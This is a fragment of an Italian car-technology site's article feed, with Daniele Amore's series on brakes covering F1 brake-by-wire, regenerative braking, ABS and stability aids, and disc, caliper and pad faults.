<figure class="wp-block-image size-large"><img decoding="async" width="1136" height="754" data-id="65963" src="https://www.giornalemotori.com/wp-content/uploads//2017/03/Ferrari-LaFerrari-rear-engine-02.jpg" alt="Ferrari LaFerrari rear engine 02" class="wp-image-65963" title="Best Engine | Ferrari F140 ed evoluzioni, ultimo baluardo del motore aspirato 897" srcset="https://www.giornalemotori.com/wp-content/uploads/2017/03/Ferrari-LaFerrari-rear-engine-02.jpg 1136w, https://www.giornalemotori.com/wp-content/uploads/2017/03/Ferrari-LaFerrari-rear-engine-02-1024x680.jpg 1024w, https://www.giornalemotori.com/wp-content/uploads/2017/03/Ferrari-LaFerrari-rear-engine-02-768x510.jpg 768w, https://www.giornalemotori.com/wp-content/uploads/2017/03/Ferrari-LaFerrari-rear-engine-02-300x199.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2017/03/Ferrari-LaFerrari-rear-engine-02-696x462.jpg 696w" sizes="(max-width: 1136px) 100vw, 1136px" /><figcaption>Best Engine | Ferrari F140 ed evoluzioni, ultimo baluardo del motore aspirato 903</figcaption></figure>



<figure class="wp-block-image size-large"><img decoding="async" width="640" height="453" data-id="65965" src="https://www.giornalemotori.com/wp-content/uploads//2017/03/small.jpg" alt="small" class="wp-image-65965" title="Best Engine | Ferrari F140 ed evoluzioni, ultimo baluardo del motore aspirato 898" srcset="https://www.giornalemotori.com/wp-content/uploads/2017/03/small.jpg 640w, https://www.giornalemotori.com/wp-content/uploads/2017/03/small-300x212.jpg 300w" sizes="(max-width: 640px) 100vw, 640px" /><figcaption>Best Engine | Ferrari F140 ed evoluzioni, ultimo baluardo del motore aspirato 904</figcaption></figure>



<figure class="wp-block-image size-large"><img decoding="async" width="700" height="525" data-id="65966" src="https://www.giornalemotori.com/wp-content/uploads//2017/03/8d2dfa9b45f8b7a58c5cb043c00b654b.jpg" alt="8d2dfa9b45f8b7a58c5cb043c00b654b" class="wp-image-65966" title="Best Engine | Ferrari F140 ed evoluzioni, ultimo baluardo del motore aspirato 899" srcset="https://www.giornalemotori.com/wp-content/uploads/2017/03/8d2dfa9b45f8b7a58c5cb043c00b654b.jpg 700w, https://www.giornalemotori.com/wp-content/uploads/2017/03/8d2dfa9b45f8b7a58c5cb043c00b654b-300x225.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2017/03/8d2dfa9b45f8b7a58c5cb043c00b654b-696x522.jpg 696w, https://www.giornalemotori.com/wp-content/uploads/2017/03/8d2dfa9b45f8b7a58c5cb043c00b654b-265x198.jpg 265w" sizes="(max-width: 700px) 100vw, 700px" /><figcaption>Best Engine | Ferrari F140 ed evoluzioni, ultimo baluardo del motore aspirato 905</figcaption></figure>
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<p class="wp-block-paragraph">&nbsp;</p>
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		<title>I freni &#124; Il sistema di Frenata By-Wyre che si utilizza in F1</title>
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		<dc:creator><![CDATA[Daniele Amore]]></dc:creator>
		<pubDate>Sun, 26 Feb 2017 13:49:23 +0000</pubDate>
				<category><![CDATA[Tecnica Auto]]></category>
		<category><![CDATA[Auto]]></category>
		<category><![CDATA[La tecnica]]></category>
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					<description><![CDATA[<p>Nei primi anni 50 e 60 i freni a disco sono comparsi per la prima volta nella massima formula prima di approdare alla produzione di serie. L'utilizzo nelle moderne Formula 1 di materiale frenante in carbonio ha limitato il trasferimento tecnologico alla produzione di serie</p>
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										<content:encoded><![CDATA[<div class="wp-block-image">
<figure class="alignleft"><img decoding="async" src="https://www.giornalemotori.com/wp-content/uploads//2017/02/6d09brake_by_wire_layout._n_jpg.jpg" alt="6d09brake by wire layout. n jpg" class="wp-image-65752" title="I freni | Il sistema di Frenata By-Wyre che si utilizza in F1 906"></figure>
</div>


<p class="wp-block-paragraph"><span class="goog-text-highlight">La Formula 1 da sempre è stato il banco di prova per la produzione di serie, questo concetto è quanto mai vero soprattutto se si parla di freni. Nei primi anni 50 e 60 i freni a disco sono comparsi per la prima volta nella massima formula prima di approdare alla produzione di serie. L&#8217;utilizzo nelle moderne Formula 1 di materiale frenante in carbonio ha limitato il trasferimento tecnologico alla produzione di serie. Questo materiale è efficacie solo alle alte temperature, quindi non adatto all&#8217;uso stradale, ha comunque contribuito a sviluppare sistemi altrettanto efficaci come il carboceramico. &nbsp;Oggi siamo al punto che la produzione di serie fornisce idee alla Formula 1. La tecnologia di motorizzazione ibrida e da molti anni che viene sperimentata per la produzione di serie. Per ovviare all&#8217;annoso problema della ricarica come abbiamo già spiegato nel capitolo precedente, i costruttori di auto hanno utilizzato impianti frenanti rigeneranti per utilizzare l&#8217;energia dissipata per ricaricare le batterie. </span></p>



<figure class="wp-block-image"><img decoding="async" width="266" height="190" src="https://www.giornalemotori.com/wp-content/uploads//2017/02/download-1.jpg" alt="download 1" class="wp-image-65753" title="I freni | Il sistema di Frenata By-Wyre che si utilizza in F1 907"></figure>



<p class="wp-block-paragraph"><span class="goog-text-highlight">La Formula 1 &nbsp;utilizza il concetto di sistema frenante simile a quello sviluppato dalla produzione di serie per le vetture ibride di brake-by-wire cioè senza collegamento meccanico tra il pedale e l&#8217;impianto frenante, per il controllo di quelli posteriori. &nbsp;</span>Assodato che l&#8217;impianto di freno anteriore classico a disco è già chiaro, ci concentriamo per quello che riguarda l&#8217;impianto di freno posteriore. Nella parte anteriore della monoposto ci sono due cilindri separati, uno per l&#8217;impianto anteriore ed uno per quello posteriore. Una volta che il pilota preme sul pedale si attiva la valvola di riduzione della pressione che lavora in sincrono con il sistema ERS (Energy Recovery System). &nbsp;La valvola agisce sotto le istruzione che le vengono fornite da una centralina CPU che ne comanda la regolazione in funzione di quanta energia è stata immagazzinata ed in base alla richiesta aziona le pinze dei freni posteriori. Una&nbsp;cosa da dire è che il sistema gestito dalla centralina che smorza più o meno la forza frenante sulle pinze non aiuta il pilota ad impedire il bloccaggio dei freni come accadrebbe con un sistema ABS, quindi non si tratta di aiuto al pilota nella conduzione il quale se usa male la forza frenante o regola male il potenziometro per il bilanciamento della frenata blocca comunque le ruote. Per una chiara volontà regolamentare l&#8217;azione frenante viene solo resa omogenea tra i due sistemi dalla centralina ma non impedisce gli errori. &nbsp;Alla Formula 1 resta il difficile quanto importantissimo compito di dare una mano alla produzione di serie nello sviluppare componenti per la frenata ibrida sempre più efficiente e potente.</p>



<p class="wp-block-paragraph"><strong>Daniele Amore</strong></p>
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		<title>I freni &#124; impianti rigenerativi ed elettrici per il futuro della mobilità</title>
		<link>https://www.giornalemotori.com/2017/02/19/freni-rigenerativi-elettrici/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=freni-rigenerativi-elettrici</link>
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		<dc:creator><![CDATA[Daniele Amore]]></dc:creator>
		<pubDate>Sun, 19 Feb 2017 10:34:45 +0000</pubDate>
				<category><![CDATA[Tecnica Auto]]></category>
		<category><![CDATA[Auto]]></category>
		<category><![CDATA[La tecnica]]></category>
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					<description><![CDATA[<p>I freni si evolvono al pari della meccanica. Oggi ci sono una miriade di modelli ibridi preludio alla trazione elettrica sempre più diffusa. Anche i freni si evolvono nella stessa direzione.</p>
<p>L'articolo <a rel="nofollow" href="https://www.giornalemotori.com/2017/02/19/freni-rigenerativi-elettrici/">I freni | impianti rigenerativi ed elettrici per il futuro della mobilità</a> proviene da <a rel="nofollow" href="https://www.giornalemotori.com">Giornalemotori</a>.</p>
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<p class="wp-block-paragraph">I freni si evolvono al pari della meccanica. Oggi ci sono una miriade di modelli ibridi preludio alla trazione elettrica sempre più diffusa. Anche i freni si evolvono nella stessa direzione. Sostituire in un impianto frenante &nbsp;al 100% dischi e pasticche non è ancora possibile ma possono essere accompagnati da una serie di nuovi freni elettrici che hanno anche il compito di recuperare parte dell&#8217;energia cinetica che viene trasformata in attrito per alimentar le batterie che forniscono potenza al motore elettrico. &nbsp;Il freno rigenerativo&nbsp;è appunto una tipologia di impianto che&nbsp;recupera energia mentre si rallenta il veicolo accoppiando la duplice funziona sia di frenare il veicolo che di fungere da &nbsp;generatore. Questo sistema nato per i veicoli ferroviari che utilizzano l&#8217;elettricità per il moto, ha una serie di vantaggi che possono essere utilizzati anche per i veicoli per trasporto su gomma.</p>



<p class="wp-block-paragraph">Abbiano già accennato al fatto che si possono avere dischi e pasticche più piccole. Poi c&#8217;è il recupero di energia che verrebbe dissipata per alimentare le batterie limitando il problema annoso della ricarica vero tallone di Achille delle vetture elettriche moderne. Per suo rendimento il sistema di frenatura elettrica è efficace se la ruota non è mai in arresto completo quindi potendo garantire un rallentamento costante ma non un bloccaggio istantaneo. &nbsp;Ovviamente anche questo sistema non è perfetto ed ha dei limiti. A bassa velocità, per esempio non ha sufficiente forza di ricarica per le batterie, con una bassa efficienza lasciando la gran parte della frenata la sistema tradizionale accoppiato. Usare un motore elettrico anche per la frenatura provoca il surriscaldamento dello stesso che non ha tempo di raffreddarsi in condizioni di frenate continue come l&#8217;uso cittadino. Poi c&#8217;è il problema che molti dei sistemi ibridi di oggi non comportano motori su tutti gli assi con una forza frenante non omogenea.</p>



<p class="wp-block-paragraph">In Formula 1 viene usato un sistema che analogamente a quello elettrico&nbsp;rigenerativo che lo accumula o in un volano meccanico, in batterie o condensatori o supercondensatori, ma anche in accumulatori idrostatici azionati da pompa-motore, &nbsp;per poi restituirla al sistema che aziona un motore elettrico che dona potenza al motore endotermico. In più il sistema si accoppia ad in impianto misto composto da un classico freno a disco e pasticche per la parte anteriore della monoposto e un sistema elettromeccanico per la parte posteriore gestito da una centralina che uniforma i due impianti in modo che il pilota non avverta la differenza e possa sfruttare appieno il sistema ibrido della monoposto ricaricando energia che poi utilizza in accelerazione, &nbsp;il tutto mediante l&#8217;uso del pedale del freno che non è più un comando meccanico collegato alla pompa ma un interruttore By-Wire o potenziometro. In più come abbiamo già trattato in passato ci sono molteplici costruttori che stanno sviluppando interi comparti ruota con all&#8217;interno motore elettrico, e sospensione che fungono anche da freni limitando lo spazio e di ottenere una forza frenante costante ed omogenea recuperando energia per le batterie. &nbsp;Isolando i motori elettrici dall&#8217;impianto frenante ci sono studi che hanno lo scopo di renderli sempre più efficienti e sempre più in grado di limitare l&#8217;uso del sistema tradizionale. In particolare si crea un&nbsp;campo elettrico magnetico che gira in senso contrario a quello del mozzo, questo crea un attrito elettrostatico che fa rallentare il movimento della ruota.</p>



<p class="wp-block-paragraph"><strong>Daniele Amore&nbsp;</strong></p>
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		<title>I Freni &#124; l&#8217;ABS e gli ausili elettronici per una frenata efficiente</title>
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		<dc:creator><![CDATA[Daniele Amore]]></dc:creator>
		<pubDate>Sat, 11 Feb 2017 13:31:16 +0000</pubDate>
				<category><![CDATA[Tecnica Auto]]></category>
		<category><![CDATA[Auto]]></category>
		<category><![CDATA[La tecnica]]></category>
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					<description><![CDATA[<p>La pressione che si esercita sul pedale rischia di essere eccessiva e di provocare il bloccaggio delle ruote, soprattutto se si percorre una strada bagnata, con ghiaccio etc. Un fenomeno dannoso che allunga la frenata e non consente più di dirigere il veicolo. Un problema che per prima ha provato ad risolvere  Volvo, ma il merito di portare il primo Sistema di Antibloccaggio Freni detto ABS è dovuto alla Mercedes sulla sua Classe S negli anni 80 del secolo scorso.</p>
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										<content:encoded><![CDATA[
<p class="wp-block-paragraph">Abbiamo parlato dei vari sistemi per frenare un automobile, partendo da quelli a tamburo, per poi descrivere il funzionamento di un impianto a disco. Per quanto i progettisti nel corso degli anni si siano impegnati per fornire impianti di freni sempre più potenti ed efficienti anche sotto stress estremi, restava ancora un problema da risolvere. Il pedale del freno viene azionato sempre almeno per adesso da un umano. La pressione che si esercita sul pedale rischia di essere eccessiva e di provocare il bloccaggio delle ruote, soprattutto se si percorre una strada bagnata, con ghiaccio etc. Un fenomeno dannoso che allunga la frenata e non consente più di dirigere il veicolo. Un problema che per prima ha provato ad risolvere &nbsp;Volvo, ma il merito di portare il primo Sistema di Antibloccaggio Freni detto ABS è dovuto alla Mercedes sulla sua Classe S negli anni 80 del secolo scorso.</p>



<figure class="wp-block-image"><img decoding="async" src="https://www.giornalemotori.com/wp-content/uploads//2017/02/slide_14.jpg" alt="slide 14" class="wp-image-65508" title="I Freni | l&#039;ABS e gli ausili elettronici per una frenata efficiente 908"></figure>



<p class="wp-block-paragraph">Il sistema funziona utilizzando una ruota fonica, composta da una serie di denti, che viene calettata sul portamozzo. Un sensore posto in prossimità legge il passaggio dei denti, e quando si fermano per effetto del bloccaggio indica ad una centralina allentare la pressione dell&#8217;olio per ripristinare la rotazione della ruota. In questo modo la ruota si trova sempre in prossimità del bloccaggio senza bloccarsi e perdere direzione. Al conducente non resta altro che premere a &nbsp;fondo il pedale con la massima forza sarà la centralina a gestire impulsi di apertura e chiusura delle valvole per la pressione dell&#8217;olio anche 20 volte al secondo. Il conducente avvertirà una pulsazione sotto il pedale del freno quando entra in azione l&#8217;ABS. Un elemento che per chi non ha esperienza alla guida può portare al sollevamento della pressione sul pedale da parte del conducente con conseguente allungamento dello spazio di frenata. Invece il driver una volta che sente la pulsazione resosi rendersi conto che le ruote tendono a bloccarsi, deve spingere al massimo la frenata anche con la pulsazione per sfruttare al massimo l&#8217;efficienza del sistema.</p>



<figure class="wp-block-image"><img decoding="async" width="460" height="289" src="https://www.giornalemotori.com/wp-content/uploads//2017/02/boxImg-05-Dec-2013-14-41-56-hw067639.jpg" alt="boxImg 05 Dec 2013 14 41 56 hw067639" class="wp-image-65511" title="I Freni | l&#039;ABS e gli ausili elettronici per una frenata efficiente 909" srcset="https://www.giornalemotori.com/wp-content/uploads/2017/02/boxImg-05-Dec-2013-14-41-56-hw067639.jpg 460w, https://www.giornalemotori.com/wp-content/uploads/2017/02/boxImg-05-Dec-2013-14-41-56-hw067639-300x188.jpg 300w" sizes="(max-width: 460px) 100vw, 460px" /></figure>



<p class="wp-block-paragraph">&nbsp;Ci sono driver particolarmente esperti che riescono a tenere la vettura al limite del bloccaggio sfruttando il sorgere della pulsazione, allentando quanto basta la pressione per poi usare le merce per rallentare la vettura prima di una curva. Purtroppo questa tecnica è difficile da imparare, ma soprattutto è frutto di anni di esperienza di guida al limite, cosa alla portata solo di collaudatori veramente esperti e piloti professionisti. &nbsp;Il problema della percezione della pulsazione e del fatto che un conducente inesperto possa sollevare il piede viene impedito da un sistema evoluto che una volta percepito il bloccaggio della ruota, tiene la pressione massima frenante, questo sistema si è il BAS ovvero Brake Assistant System o HBA, Hydraulic Brake Assist. La Bosch e Continental sono andate nettamente oltre creando l&#8217;Automatic emergency breaking che mediante un sistema di telecamere video e infrarossi rileva quando il veicolo si sta avvicinando troppo a quello che precede, prima avvisa il guidatore, &nbsp;poi fornisce maggiore forza alla frenata indipendentemente di quanta forza si metta nell&#8217;azionare il pedale del freno, &nbsp;condizione tipica di una frenata di emergenza evitando la collisione a prescindere dall&#8217;azione del driver. Ci sono allo studio sistemai che riconoscono ciclisti e pedoni.</p>



<figure class="wp-block-image"><img decoding="async" width="460" height="408" src="https://www.giornalemotori.com/wp-content/uploads//2017/02/460x408-ebd.jpg" alt="460x408 ebd" class="wp-image-65510" title="I Freni | l&#039;ABS e gli ausili elettronici per una frenata efficiente 910" srcset="https://www.giornalemotori.com/wp-content/uploads/2017/02/460x408-ebd.jpg 460w, https://www.giornalemotori.com/wp-content/uploads/2017/02/460x408-ebd-300x266.jpg 300w" sizes="(max-width: 460px) 100vw, 460px" /></figure>



<p class="wp-block-paragraph">Il sistema ABS oggi viene abbinato ad impianto frenanti che hanno 4 freni a disco dove offre le migliori prestazioni, ma anche con impianti misti dove la differenza di forza frenante dei due tipi di impianti viene gestita la meglio grazie&nbsp;ripartitore elettronico di frenata,&nbsp;&nbsp;EBD&nbsp;che si basa su un<i>&nbsp;</i>dispositivo di ripartizione già presente in tutte auto consentendo di &nbsp;modulare e correggere la frenata sui due assi, sfruttando il classico regolatore di carico sugli assi. Ovviamente l&#8217;EBD funziona al meglio anche per impianti completamente a disco. &nbsp;Il sistema ABS, vista la sua semplicità ed efficacia, viene anche usato non solo per impedire che ruote si blocchino in frenata ma anche che pattinano troppo in accelerazione. Lo stesso sensore che interviene quando la ruota fonica di blocca, legge la sua velocità e se questa ha una differenza elevata tra i due lati, tende a frenare la ruota con maggiore velocità bloccando di fatto lo slittamento. In questo caso l&#8217;ABS si abbina ad una sua variante detta ASR o TCS.</p>



<figure class="wp-block-image"><img decoding="async" src="https://www.giornalemotori.com/wp-content/uploads//2017/02/C0062-1.jpg" alt="C0062 1" class="wp-image-65513" title="I Freni | l&#039;ABS e gli ausili elettronici per una frenata efficiente 911"></figure>



<p class="wp-block-paragraph">Dove l&#8217;ABS mostra invece i suoi limiti è&nbsp;su terreni a tipo fango, neve o terra battuta. Infatti su questi terreni si ha una frenata più efficace quando la ruota si blocca e accumulando materiale davanti aumentando l&#8217;attrito&nbsp;meccanico. Su tali superfici l&#8217;ABS pur non diminuendo lo spazio di frenata consente comunque di conservare la capacità direzionale della vettura. &nbsp;L&#8217;ABS, in caso di lastre di ghiaccio solo su due ruote, allungherà lo spazio di frenata ma se non ci fosse si rischierebbe di perdere la direzionalità del veicolo, provocando anche un testacoda. Per controllare i fenomeni di instabilità dovuta alle frenate in curva quando il carico non è costante sulle quattro ruote è stato messo appunto il CBC ovvero&nbsp;Cornering Brake Control.</p>



<figure class="wp-block-image"><img decoding="async" src="https://www.giornalemotori.com/wp-content/uploads//2017/02/traction.jpg" alt="traction" class="wp-image-65515" title="I Freni | l&#039;ABS e gli ausili elettronici per una frenata efficiente 912"></figure>



<p class="wp-block-paragraph">Se in&nbsp;una curva il conducente aziona i freni, il sistema adegua la pressione frenante, in funzione dell&#8217; angolo di sterzata. Si tratta di uno dei primi sistemi che avevano il compito di controllare fenomeni di sottosterzo o sovrasterzo causato dal bloccaggio delle ruote durante una frenata in curva fornendo una forza frenante differenziata per ogni singola ruota soprattutto in condizioni di emergenza. &nbsp;La differenza con il sistema più evoluto ESP ovvero&nbsp;controllo elettronico della stabilità sta nel fatto che quest&#8217;ultimo non è un compendio dell&#8217;ABS ma un sistema che funziona in parallelo che sfrutta in parte i sensori compatibili con l&#8217;impianto di ABS. L&#8217;ESP in sostanza come vedremo in una futura trattazione specifica non funziona solo in frenata ma si attiva ogni qualvolta ci sia una condizione di perdita di aderenza anche in velocità o accelerazione in curva. &nbsp;Il sistema ABS, vista la sua semplicità ed efficacia, viene anche usato non solo per impedire che ruote si blocchino in frenata ma anche che pattinano troppo in accelerazione. Lo stesso sensore che interviene quando la ruota fonica di blocca, legge la sua velocità e se questa ha una differenza elevata tra i due lati, tende a frenare la ruota con maggiore velocità bloccando di fatto lo slittamento. In questo caso l&#8217;ABS si abbina ad una sua variante detta ASR o TCS. Oggi il controllo della trazione viene sfruttato anche per controllare gli eccessi di coppia che possono portare a sovrasterzi di potenza, con i vari sistemi di Torque Vectoring, che spesso vanno a sostituire i più costosi differenziali autobloccanti. Per i conducenti esperti, ad oggi molte case costruttrici rimangono comunque in listino accessori il differenziale classico.</p>



<p class="wp-block-paragraph"><strong>Daniele Amore</strong></p>


<div class="youtube-embed" data-video_id="U24v5o34WFM "><iframe loading="lazy" title="3 7 FRENATA CON SENZA ABS" width="696" height="522" src="https://www.youtube.com/embed/U24v5o34WFM?feature=oembed&#038;enablejsapi=1" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" referrerpolicy="strict-origin-when-cross-origin" allowfullscreen></iframe></div>



<p class="wp-block-paragraph">&nbsp;</p>
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		<title>I freni parte IV &#124; Freni a disco, pinze, pasticche, difetti e problematiche</title>
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		<dc:creator><![CDATA[Daniele Amore]]></dc:creator>
		<pubDate>Sun, 22 Jan 2017 10:22:05 +0000</pubDate>
				<category><![CDATA[Tecnica Auto]]></category>
		<category><![CDATA[Auto]]></category>
		<category><![CDATA[La tecnica]]></category>
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					<description><![CDATA[<p>Le pinze freni sono formate in genere da due elementi tenuti assieme da due o più viti per una maggiore facilità di intervento e costi più bassi,  oppure da un pezzo unico cosa che consente di avere maggiore rigidezza per un effetto frenante più omogeneo.</p>
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<h3 class="wp-block-heading">&nbsp;</h3>



<figure class="wp-block-image"><img decoding="async" width="500" height="335" src="https://www.giornalemotori.com/wp-content/uploads//2017/01/16-category.jpg" alt="16-category" class="wp-image-65198" title="I freni parte IV | Freni a disco, pinze, pasticche, difetti e problematiche 913" srcset="https://www.giornalemotori.com/wp-content/uploads/2017/01/16-category.jpg 500w, https://www.giornalemotori.com/wp-content/uploads/2017/01/16-category-300x201.jpg 300w" sizes="(max-width: 500px) 100vw, 500px" /></figure>



<p class="wp-block-paragraph">Dopo aver descritto nel dettaglio i dischi, terminiamo l&#8217;argomento con gli altri due componenti. Le pinze freni sono formate in genere da due elementi tenuti assieme da due o più viti&nbsp;per una maggiore facilità di intervento e costi più bassi, &nbsp;oppure da un pezzo unico cosa che consente di avere maggiore rigidezza per un effetto frenante più omogeneo. Per motivi economici la pinza più diffusa è quella che ha un&nbsp;singolo pistoncino che può essere in &nbsp;allumino o acciaio&nbsp;&nbsp;che si muove all&#8217;interno di un cilindretto. Per maggiori prestazioni i pistoncini possono fino a raggiungere anche il numero di 8 e non è detto che non possano aumentare in futuro. &nbsp;Le pinze possono avere un numero di pistoncini variabile a secondo del tipo di utilizzo e della potenza frenante che si intende avere. Ci sono pinze freno a 4, 6 e fino ad 8 pistoncini. Di recente si sono anche viste pinze dei freni che avevano una forma curva per coprire una maggiore superficie del disco con un numero sempre maggiore di pistoncini.</p>



<figure class="wp-block-image"><img decoding="async" src="https://www.giornalemotori.com/wp-content/uploads//2017/01/pastiglie-dei-freni-costo.jpg" alt="pastiglie-dei-freni-costo" class="wp-image-65199" title="I freni parte IV | Freni a disco, pinze, pasticche, difetti e problematiche 914"></figure>



<p class="wp-block-paragraph"><br>I pattino o pasticche &nbsp;sono simili alle ganasce nell&#8217;idea di base, &nbsp;hanno una base&nbsp;metallica sulla quale è applicato uno strato di materiale d&#8217;attrito di varia composizione. A seconda dell&#8217;utilizzo a cui sono destinate il materiale di attrito può essere maggiormente aggressivo per una maggiore forza frenante o più conservativo per avere una maggiore durata. In ogni caso il materiale dei pattini deve essere attentamente scelto in funzione della sua compatibilità con quello del disco che deve andare a mordere. &nbsp;La forza di un impianto frenate non è data dalla sua potenza, ma quanto dalla sua efficienza. Un buon pilota o collaudatore sa che preservare i freni può fare la differenza netta in termini velocità e sicurezza, quindi bisogna limitare al massimo problemi per dischi, pinze e pattini dovuti ad un cattivo uso.</p>



<figure class="wp-block-image"><img decoding="async" src="https://www.giornalemotori.com/wp-content/uploads//2017/01/corso-freni-45-638.jpg" alt="corso-freni-45-638" class="wp-image-65204" title="I freni parte IV | Freni a disco, pinze, pasticche, difetti e problematiche 915"></figure>



<p class="wp-block-paragraph">I dischi possono essere soggetti a vari tipi di difetti. Si possono deformare, per un&nbsp;riscaldamento eccessivo, soprattutto nella fase di raffreddamento che portano ad un rammollimento del metallo che può generare deformazioni permanenti, dette anche ovalizzazioni. Avere dischi ventilati riduce la possibilità che avvenga il fenomeno, ma non lo azzera. Per surriscaldamenti molto elevati possono comparire anche crepe che portano il disco a vibrare per effetto del passaggio della crepa al contatto con il pattino. Uno dei modi per capire che si sta surriscaldando il disco, è quello di tenere d&#8217;occhio il colore che assume la ghisa o l&#8217;acciaio dopo l&#8217;utilizzo. Se si nota una colorazione&nbsp;bluastra o addirittura nera in alcune zone, dovrebbe far suonare un &nbsp;campanello di allarme nel driver che dovrebbe portate ad un uso diverso del pedale del freno.</p>



<figure class="wp-block-image"><img decoding="async" src="https://www.giornalemotori.com/wp-content/uploads//2017/01/ebc_crepa_2.jpg" alt="ebc_crepa_2" class="wp-image-65202" title="I freni parte IV | Freni a disco, pinze, pasticche, difetti e problematiche 916"></figure>



<p class="wp-block-paragraph">Uno dei difetti che maggiormente si vede sulle vetture per uso stradale è quello delle&nbsp;rigature che si verificano soprattutto quando si tengono i pattini più tempo del dovuto quando sono al limite di usura portando a contatto la base di acciaio che riga il disco. In questi casi se si cambia solo il pattino, quello nuovo avrà meno superficie di contatto per effetto di una superficie rigata o ondulata che toglie centimetri quadrati di utilizzo al pattino, quindi vanno cambiati anche i dischi. &nbsp;Unica soluzione per rigature poco profonde è quello di tornire il disco, ma per costo dell&#8217;operazione per vetture di medio livello conviene provvedere con la sostituzione.&nbsp;&nbsp;Infine per un utilizzo veramente&nbsp;troppo violento si può arrivare alla rottura dei dischi per effetto della dilatazione delle crepe per il calore eccessivo, queste posso allargarsi rapidamente fino alla rottura anche traumatica. Spesso si vede piloti di F1 andare lunghi in frenate violente in mezzo ad una nuvola nera proveniente dalle ruote anteriori per effetto della rottura dei freni.</p>



<figure class="wp-block-image"><img decoding="async" src="https://www.giornalemotori.com/wp-content/uploads//2017/01/corso-freni-38-638.jpg" alt="corso-freni-38-638" class="wp-image-65203" title="I freni parte IV | Freni a disco, pinze, pasticche, difetti e problematiche 917"></figure>



<p class="wp-block-paragraph">Di solito la pinza è uno degli elementi che gli utenti danno sempre per scontato che funzioni sempre bene e non abbia problemi a differenza dei dischi. Invece il calore prodotto dall&#8217;impianto produce effetti negativi anche per questo componente. &nbsp;Per effetto della forza frenante e del calore, &nbsp;le pinze si possono deformare perdendo l&#8217;azione &nbsp;omogenea della spinta dei pistoncini. Questi andrebbero revisionati periodicamente pulendo le sedi e sostituendo le guarnizioni di tenuta dell&#8217;olio pena la pressione sul disco non omogenea dei singoli pistoncini con casi in cui una delle due ruote frena più dell&#8217;altra innescando problemi di instabilità in frenata. In più scegliere una pinza più grande con più pistoncini appare la scelta più logica per una forza frenante maggiore, ma questo anche se si usano materiali sofisticati portano ad aumentare il peso della massa non sospesa. Si vedono spesso costruttori che spostano le pinze freno avanti o dietro per tenere centrati talvolta le masse verso il baricentro o lasciare maggiore carico all&#8217;anteriore. In F1 si mettono verso il basso per abbassare il baricentro della vettura fruttando anche il peso della pinza.</p>



<figure class="wp-block-image"><img decoding="async" src="https://www.giornalemotori.com/wp-content/uploads//2017/01/pastiglia-1.jpg" alt="pastiglia" class="wp-image-65205" title="I freni parte IV | Freni a disco, pinze, pasticche, difetti e problematiche 918"></figure>



<p class="wp-block-paragraph">I pattini o pasticche sono l&#8217;elemento che produce effettivo effetto frenante. Il loro attrito sviluppa calore che deve essere dissipato. Un pattino eccessivamente aggressivo per una maggiore forza frenante produce tanto di quel calore&nbsp;può innescare il fenomeno della &nbsp;cristallizzazione delle pasticche dei freni&nbsp;che a sua volta causerà&nbsp;l’ovalizzazione&nbsp;del disco. &nbsp;Uno dei difetti più fastidiosi è quando le pasticche fischiano, un problema dovuto allo&nbsp;sfregamento tra le pasticche dei freni e il disco&nbsp;che&nbsp;provoca quel fastidioso rumore, anche questo provocato dall&#8217;eccesso di calore che si produce, oppure da rigature presenti sul disco a contatto con la pasticca.</p>



<figure class="wp-block-image"><img decoding="async" src="https://www.giornalemotori.com/wp-content/uploads//2017/01/PastiglieBrembo20120002.jpg" alt="PastiglieBrembo20120002" class="wp-image-65206" title="I freni parte IV | Freni a disco, pinze, pasticche, difetti e problematiche 919"></figure>



<p class="wp-block-paragraph">&nbsp;Spesso si usano smussare leggermente gli angoli delle pasticche freno dove si forma un leggero scalino che tende a fischiare quando va a contatto con il disco, oppure uno spray o paste che tendono a ridurre la durezza superficiale e la formazione di vapori tali da provocare il fastidioso fischio. Quando il fischio avviene a pasticche nuove, è perchè queste sono&nbsp;composte da una materiale frenante molto duro che causa&nbsp;un eccessivo attrito con disco. &nbsp;Il materiale frenante che ricopre le pastiglie dei freni in questo caso è troppo rigido spesso per un errata conservazione di stoccaggio in magazzini per lunghi periodi. &nbsp;Di solito le case che producono dischi freno più importanti hanno anche a catalogo svariate tipologie di pasticche per fruttare al meglio i due componenti con un livello di usura differenziato a seconda dell&#8217;aggressività della pasticca. Creare elementi ibridi composti da un disco di una marca e da una pasticca di un&#8217;altra con consistenza diversa comporta da parte dell&#8217;installatore o appassionato un livello di competenza che gli consente di tenere conto del materiale del disco e delle sue caratteristiche, e della pasticca per giudicarne la compatibilità e lo sfruttamento nel tempo senza spendere tanti soldi a vuoto.</p>



<figure class="wp-block-image"><img decoding="async" src="https://www.giornalemotori.com/wp-content/uploads//2017/01/frenate.jpg" alt="frenate" class="wp-image-65207" title="I freni parte IV | Freni a disco, pinze, pasticche, difetti e problematiche 920"></figure>



<p class="wp-block-paragraph">Di recente sta passando l&#8217;idea spesso alimentata da alcuni istruttori di guida, che gli impianti frenanti moderni sono talmente potenti ed efficaci da non necessitare dell&#8217;uso del cambio per scalare marcia ed usare il freno motore per ridurre la velocità dell&#8217;auto dando una grossa mano all&#8217;impianto frenante. Questo potrebbe anche essere vero nei casi di estrema emergenza. Un impianto frenante moderno ha la capacità di frenare al massimo della sua forza in circa 40-50 metri da 100 km/h. &nbsp;Quindi se serve il massimo della forza frenante in emergenza, più essere utile sfruttare al massimo i freni per fermarsi nello spazio sicuro. Ma negli altri casi la maggioranza per un uso stradale, è sempre consigliabile scalare marce durante la frenata. Per limitare il surriscaldamento dei freni, è meglio avere frenate più intense per periodi più brevi.</p>


<div class="wp-block-image size-medium wp-image-65208">
<figure class="alignleft"><img decoding="async" src="https://www.giornalemotori.com/wp-content/uploads//2017/01/BREMBO-6-frenate-05.jpg" alt="BREMBO-proposta-jaco_0212" class="wp-image-65208" title="I freni parte IV | Freni a disco, pinze, pasticche, difetti e problematiche 921"><figcaption class="wp-element-caption">BREMBO-proposta-jaco_0212</figcaption></figure>
</div>


